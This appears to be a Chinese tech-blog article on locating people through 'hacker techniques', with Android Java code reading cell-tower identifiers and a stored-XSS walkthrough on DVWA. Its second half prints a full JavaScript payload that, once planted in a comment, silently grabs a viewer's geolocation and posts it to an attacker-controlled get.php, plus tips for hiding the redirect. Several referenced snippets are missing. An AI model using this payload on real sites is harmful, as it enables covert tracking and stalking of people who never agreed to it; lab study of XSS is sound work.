溫馨提示:合理利用技術享受健康生活,私自定位屬於違法犯罪行為。
基站定位原理:通過手機
![如何利用黑客技術獲取經緯度進而手機號碼定位](http://p2.ttnews.xyz/loading.gif)
信號獲取基站信息,然後調用第三方公開的根據基站信息查找基站的經緯度值,想要具體地址信息的再根據經緯度值獲取具體的地址信息。
一、通過手機信號獲取基站信息
通過TelephonyManager 獲取lac:mcc:mnc:cell-id(基站信息)的解釋:
MCC,Mobile Country Code,移動國家代碼(中國的為460);
MNC,Mobile Network Code,移動網絡號碼(中國移動為0,中國聯通為1,中國電信為2);
LAC,Location Area Code,位置區域碼;
CID,Cell Identity,基站編號;
BSSS,Base station signal strength,基站信號強度。
具體實現代碼如下:
[java]
package com.easipass.test;
import java.util.List;
import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.telephony.NeighboringCellInfo;
import android.telephony.TelephonyManager;
import android.telephony.cdma.CdmaCellLocation;
import android.telephony.gsm.GsmCellLocation;
import android.util.Log;
import android.view.View;
/**
* 功能描述:通過手機信號獲取基站信息
* # 通過TelephonyManager 獲取lac:mcc:mnc:cell-id
* # MCC,Mobile Country Code,移動國家代碼(中國的為460);
* # MNC,Mobile Network Code,移動網絡號碼(中國移動為0,中國聯通為1,中國電信為2);
* # LAC,Location Area Code,位置區域碼;
* # CID,Cell Identity,基站編號;
* # BSSS,Base station signal strength,基站信號強度。
* @author android_ls
*/
public class GSMCellLocationActivity extends Activity {
private static final String TAG = "GSMCellLocationActivity";
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
// 獲取基站信息
findViewById(R.id.button1).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
TelephonyManager mTelephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
// 返回值MCC + MNC
String operator = mTelephonyManager.getNetworkOperator();
int mcc = Integer.parseInt(operator.substring(0, 3));
int mnc = Integer.parseInt(operator.substring(3));
// 中國移動和中國聯通獲取LAC、CID的方式
GsmCellLocation location = (GsmCellLocation) mTelephonyManager.getCellLocation();
int lac = location.getLac();
int cellId = location.getCid();
Log.i(TAG, " MCC = " + mcc + "\t MNC = " + mnc + "\t LAC = " + lac + "\t CID = " + cellId);
// 中國電信獲取LAC、CID的方式
/*CdmaCellLocation location1 = (CdmaCellLocation) mTelephonyManager.getCellLocation();
lac = location1.getNetworkId();
cellId = location1.getBaseStationId();
cellId /= 16;*/
// 獲取鄰區基站信息
List<neighboringcellinfo> infos = mTelephonyManager.getNeighboringCellInfo();/<neighboringcellinfo>
StringBuffer sb = new StringBuffer("總數 : " + infos.size() + "\n");
for (NeighboringCellInfo info1 : infos) { // 根據鄰區總數進行循環
sb.append(" LAC : " + info1.getLac()); // 取出當前鄰區的LAC
sb.append(" CID : " + info1.getCid()); // 取出當前鄰區的CID
sb.append(" BSSS : " + (-113 + 2 * info1.getRssi()) + "\n"); // 獲取鄰區基站信號強度
}
Log.i(TAG, " 獲取鄰區基站信息:" + sb.toString());
}
});
}
}
在AndroidManifest.xml添加獲取位置信息的權限:
[html] www.2cto.com
<uses-permission>
點擊“獲取基站信息”的按鈕後,Logcat的日誌輸出如下:
1、中國聯通:
![如何利用黑客技術獲取經緯度進而手機號碼定位](http://p2.ttnews.xyz/loading.gif)
2、中國移動:
第二種利用XSS獲取經緯度
Let’s do something interesting with XSS!
Bwapp之XSS –stored
這次的我打算在DVWA上做。文章介紹的方式是通過被攻擊者點擊評論裡的鏈接,轉到一個頁面獲取經緯度信息併發送到攻擊者的服務器上。我對此加以了一點小小的改進,留言過後,只需要被攻擊者訪問查看留言的界面,就會神不知鬼不覺地將經緯度信息發送給攻擊者。 實現的過程非常的簡單,利用了網絡攻防課上盜取cookie的思路。關鍵是獲取經緯度的js操作。
利用的是html5的geolocation獲取經緯度信息,百度一下很容易查到相關的用法,這裡就不再贅述,但是這種方法獲取經緯度的條件及其苛刻,需要電腦打開定位服務,並且賦予瀏覽器使用位置的權限。
我用的是win10系統,在電腦上發現定位服務可以賦予權限的只有Edge瀏覽器,其他瀏覽器使用這個定位則顯示用戶關閉了定位服務,而且就算在Edge瀏覽器裡,獲取當前位置的時候瀏覽器還會詢問用戶是否同意,所以這種方法在真實攻擊環境下獲取到位置的難度還是挺大的。經過一番折騰後發現電腦訪問百度地圖等定位軟件定位,要麼就是定位不到位置,要麼定位十分模糊,連精確都算不上,沒有手機上這麼方便,很可能也是因為windows位置權限的原因。
書歸正傳,現在我們來說一下實現的過程。
通過geolocation獲取到經緯度信息後,post到攻擊者的服務器上即可,這裡的get.php即為接收並記錄信息的腳本文件。get.php內容如下:
當geolocation獲取位置失敗時也會返回錯誤碼方便調試。
post函數即一個簡單地創建form窗口提交的函數。
在DVWA的XSS_stored模塊鍵入以下留言:
然後當被攻擊者訪問這個頁面的時候,他的位置信息就會被記錄下來。可以看到精確度還是很高的。
關於頁面跳轉的問題,被攻擊者在訪問留言板後,會跳轉到發送信息的界面去,解決方法,在創建元素的時候創建一個iframe元素,在這個iframe裡創建form提交,或者使用ajax就不會出現跳轉的問題。
比較坑的一點是,使用geolocation的時候,可能會因為GPS信號等原因使得所在位置和判定位置相差甚遠的情況,請耐心嘗試,因為我也沒有發現什麼好辦法 (逃,正常情況下誤差在20m左右。
附上location.js代碼:
var error=""; var long=0; var lat=0; if (navigator.geolocation)
{
navigator.geolocation.getCurrentPosition(showPosition,showError);
} else {
error="Brower do not support" } function showPosition(position) {
alert("緯度: " + position.coords.latitude + "\n經度: " + position.coords.longitude);
long=position.coords.longitude;
lat=position.coords.latitude;
post('http://127.0.0.1/Location/get.php',{'LONG':long,'LAT':lat,'ERROR':error});
} function showError(error) { switch(error.code)
{ case error.PERMISSION_DENIED:
error="PERMISSION_DENIED" break; case error.POSITION_UNAVAILABLE:
error="POSITION_UNAVAILABLE" break; case error.TIMEOUT:
error="TIMEOUT" break; case error.UNKNOWN_ERROR:
error="UNKNOWN_ERROR" break; default: break;
}
post('http://127.0.0.1/Location/get.php',{'LONG':0,'LAT':0,'ERROR':error});
} function post(URL, PARAMS) { var temp = document.createElement("form");
temp.action = URL;
temp.method = "post";
temp.style.display = "none"; for (var x in PARAMS) { var opt = document.createElement("textarea");
opt.name = x;
opt.value = PARAMS[x]; // alert(opt.name) temp.appendChild(opt);
} document.body.appendChild(temp);
temp.submit();
} huh
獲取到經緯度也就意味著我們知道了對方位置!
閱讀更多 IT技術男—阿文 的文章